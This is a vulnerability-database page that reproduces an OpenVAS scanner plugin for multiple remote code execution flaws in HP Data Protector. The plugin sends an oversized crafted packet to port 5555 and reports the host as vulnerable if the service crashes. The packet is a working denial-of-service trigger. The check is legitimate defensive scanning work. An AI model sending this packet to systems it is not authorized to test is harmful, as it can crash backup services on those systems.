Lucene search

K
openvasCopyright (C) 2011 Greenbone Networks GmbHOPENVAS:1361412562310902454
HistoryJul 01, 2011 - 12:00 a.m.

HP (OpenView Storage) Data Protector Multiple RCE Vulnerabilities

2011-07-0100:00:00
Copyright (C) 2011 Greenbone Networks GmbH
plugins.openvas.org
17

6.9 Medium

AI Score

Confidence

Low

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.955 High

EPSS

Percentile

99.4%

HP (OpenView Storage) Data Protector is prone to multiple remote
code execution (RCE) vulnerabilities.

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:hp:data_protector";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902454");
  script_version("2021-09-01T07:45:06+0000");
  script_tag(name:"last_modification", value:"2021-09-01 07:45:06 +0000 (Wed, 01 Sep 2021)");
  script_tag(name:"creation_date", value:"2011-07-01 16:09:45 +0200 (Fri, 01 Jul 2011)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2011-1865", "CVE-2011-1514", "CVE-2011-1515", "CVE-2011-1866");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("HP (OpenView Storage) Data Protector Multiple RCE Vulnerabilities");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("hp_data_protector_installed.nasl");
  script_require_ports("Services/hp_dataprotector", 5555);
  script_mandatory_keys("microfocus/data_protector/detected");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  arbitrary code or may lead to denial of service conditions.");

  script_tag(name:"affected", value:"HP (OpenView Storage) Data Protector 6.20 and prior.");

  script_tag(name:"insight", value:"Multiple flaws are due to error in 'data protector inet' service
  command which allows remote remote attackers to execute arbitrary code.");

  script_tag(name:"summary", value:"HP (OpenView Storage) Data Protector is prone to multiple remote
  code execution (RCE) vulnerabilities.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17458/");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Jun/552");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Jun/551");

  exit(0);
}

include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit(0);

soc = open_sock_tcp( port );
if( ! soc )
  exit( 0 );

headdata = raw_string( 0x00, 0x00, 0x27, 0xca, 0xff, 0xfe, 0x32,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x00,
                 0x00, 0x20, 0x00 );

middata = crap( data:raw_string( 0x61 ), length:10001 );

lastdata = raw_string( 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00, 0x20, 0x00, 0x61,
                 0x00, 0x00, 0x00, 0x20, 0x00, 0x61, 0x00, 0x00,
                 0x00, 0x20, 0x00, 0x61, 0x00, 0x00, 0x00, 0x20,
                 0x00, 0x61, 0x00, 0x00, 0x00 );

req = headdata + middata + lastdata;

send( socket:soc, data:req );

close( soc );

sleep( 5 );

soc = open_sock_tcp( port );
if( ! soc ) {
  security_message( port:port );
  exit( 0 );
} else {
  response = recv( socket:soc, length:4096, timeout:20 );
  if( "HP Data Protector" >!< response && "HPE Data Protector" >!< response && "HP OpenView Storage Data Protector" >!< response ) {
    security_message( port:port );
    exit( 0 );
  }
}

close( soc );

exit( 99 );

6.9 Medium

AI Score

Confidence

Low

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.955 High

EPSS

Percentile

99.4%